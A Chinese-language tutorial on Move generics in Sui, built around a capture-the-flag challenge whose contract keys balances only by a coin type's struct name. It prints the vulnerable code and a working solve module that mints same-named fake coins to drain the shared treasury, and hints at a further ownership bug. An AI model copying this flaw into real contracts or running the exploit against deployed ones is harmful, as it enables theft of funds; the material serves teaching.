跳转至

多样的泛型

介绍

泛型可用于定义基于不同输入数据类型的函数和结构,例如标准库中的vector,允许你在多种类型多种情况下复用同一份实现。

对于一个泛型<T>,模块std::type_name中提供了获取该类型相关信息的方法:get_addressget_module,基于此,还可以推得该泛型的名称。

例题

接下来,考虑这么一个问题:

coina.move:

module generics::coina;

use sui::coin;

public struct COINA has drop {}

fun init(otw: COINA, ctx: &mut TxContext) {
    let (treasury, metadata) = coin::create_currency(
        otw,
        6,
        b"COINA",
        b"COINA",
        b"COINA Coin",
        option::none(),
        ctx
    );
    transfer::public_share_object(treasury);
    transfer::public_freeze_object(metadata);
}

coinb.move:

module generics::coinb;

use sui::coin;

public struct COINB has drop {}

fun init(otw: COINB, ctx: &mut TxContext) {
    let (treasury, metadata) = coin::create_currency(
        otw,
        6,
        b"COINB",
        b"COINB",
        b"COINB Coin",
        option::none(),
        ctx
    );
    transfer::public_share_object(treasury);
    transfer::public_freeze_object(metadata);
}

generics.move:

module generics::generics;

use std::string::String;
use std::type_name;
use sui::bag::{Self, Bag};
use sui::balance::{Self, Balance};
use sui::coin::{Coin, TreasuryCap};
use sui::event;
use sui::table::{Self, Table};

use generics::coina::COINA;
use generics::coinb::COINB;

const EAlreadyMinted: u64 = 0;
const ENotEnoughBalance: u64 = 1;
const ENotAllZero: u64 = 2;

public struct Treasury<phantom T> has store {
    records: Table<address, u64>,
    balance: Balance<T>
}

public struct Supply has key {
    id: UID,
    treasury: Bag
}

public struct Flag has copy, drop {
    owner: address,
    success: bool
}

fun init(ctx: &mut TxContext) {
    transfer::share_object(Supply {
        id: object::new(ctx),
        treasury: bag::new(ctx)
    });
}

fun get_coin_key<T>(): String {
    let type_name = type_name::get<T>();
    let address_len = type_name.get_address().length();
    let module_len = type_name.get_module().length();
    let full_len = type_name.borrow_string().length();
    type_name.borrow_string().substring(address_len + module_len + 4, full_len).to_string()
}

fun deposit<T>(supply: &mut Supply, coin: Coin<T>, ctx: &mut TxContext) {
    let key = get_coin_key<T>();

    if (!supply.treasury.contains(key)) {
        supply.treasury.add(key, Treasury<T> {
            records: table::new(ctx),
            balance: balance::zero()
        });
    };
    let treasury: &mut Treasury<T> = &mut supply.treasury[key];

    if (!treasury.records.contains(ctx.sender())) {
        treasury.records.add(ctx.sender(), 0);
    };
    let record = &mut treasury.records[ctx.sender()];
    *record = *record + coin.value();

    treasury.balance.join(coin.into_balance());
}

public fun mint(supply: &mut Supply, coin_a_cap: &mut TreasuryCap<COINA>, coin_b_cap: &mut TreasuryCap<COINB>, ctx: &mut TxContext) {
    assert!(supply.treasury.length() == 0, EAlreadyMinted);
    let coin_a = coin_a_cap.mint(666666, ctx);
    let coin_b = coin_b_cap.mint(999999, ctx);
    deposit(supply, coin_a, ctx);
    deposit(supply, coin_b, ctx);
}

#[allow(lint(self_transfer))]
fun withdraw_a<T>(supply: &mut Supply, amount: u64, ctx: &mut TxContext) {
    let key = get_coin_key<T>();
    let treasury: &mut Treasury<COINA> = &mut supply.treasury[key];
    let record = &mut treasury.records[ctx.sender()];
    assert!(*record >= amount, ENotEnoughBalance);
    *record = *record - amount;
    transfer::public_transfer(treasury.balance.split(amount).into_coin(ctx), ctx.sender());
}

#[allow(lint(self_transfer))]
fun withdraw_b<T>(supply: &mut Supply, amount: u64, ctx: &mut TxContext) {
    let key = get_coin_key<T>();
    let treasury: &mut Treasury<COINB> = &mut supply.treasury[key];
    let record = &mut treasury.records[ctx.sender()];
    assert!(*record >= amount, ENotEnoughBalance);
    *record = *record - amount;
    transfer::public_transfer(treasury.balance.split(amount).into_coin(ctx), ctx.sender());
}

public fun withdraw<T, U>(supply: &mut Supply, coin_a: Coin<T>, coin_b: Coin<U>, ctx: &mut TxContext): (Coin<T>, Coin<U>) {
    supply.withdraw_a<T>(coin_a.value(), ctx);
    supply.withdraw_b<U>(coin_b.value(), ctx);
    (coin_a, coin_b)
}

fun check<T>(supply: &Supply): bool {
    let key = get_coin_key<T>();
    let treasury: &Treasury<T> = &supply.treasury[key];
    treasury.balance.value() == 0
}

public fun get_flag(supply: &Supply, ctx: &TxContext) {
    assert!(supply.check<COINA>() && supply.check<COINB>(), ENotAllZero);
    event::emit(Flag {
        owner: ctx.sender(),
        success: true
    });
}

withdraw需要传入两种与各自存款相同数量的币,但铸币函数mint看起来只可以被调用一次?

观察函数get_coin_key可以发现,作为key的只是泛型T的结构名,所以可以构造同名的COINACOINB来绕过检测,取空Supply中的所有余额,达成get_flag的条件。

module solve::solve;

use sui::coin::TreasuryCap;

use solve::coina::COINA as FAKECOINA;
use solve::coinb::COINB as FAKECOINB;
use generics::coina::COINA;
use generics::coinb::COINB;
use generics::generics::Supply;

entry fun solve(
    supply: &mut Supply,
    coin_a_cap: &mut TreasuryCap<COINA>,
    coin_b_cap: &mut TreasuryCap<COINB>,
    fake_coin_a_cap: &mut TreasuryCap<FAKECOINA>,
    fake_coin_b_cap: &mut TreasuryCap<FAKECOINB>,
    ctx: &mut TxContext
) {
    supply.mint(coin_a_cap, coin_b_cap, ctx);
    let fake_coin_a = fake_coin_a_cap.mint(666666, ctx);
    let fake_coin_b = fake_coin_b_cap.mint(999999, ctx);
    let (fake_coin_a, fake_coin_b) = supply.withdraw(fake_coin_a, fake_coin_b, ctx);
    supply.get_flag(ctx);
    transfer::public_transfer(fake_coin_a, ctx.sender());
    transfer::public_transfer(fake_coin_b, ctx.sender());
}

拓展

再次审查本文例题,还潜藏着一个与所有权相关的漏洞,同样能够达成get_flag的条件,交由你自行探索!!!

不要被文字诱导,被表面的假象牵着鼻子走,你值得更简单高效的解法!!!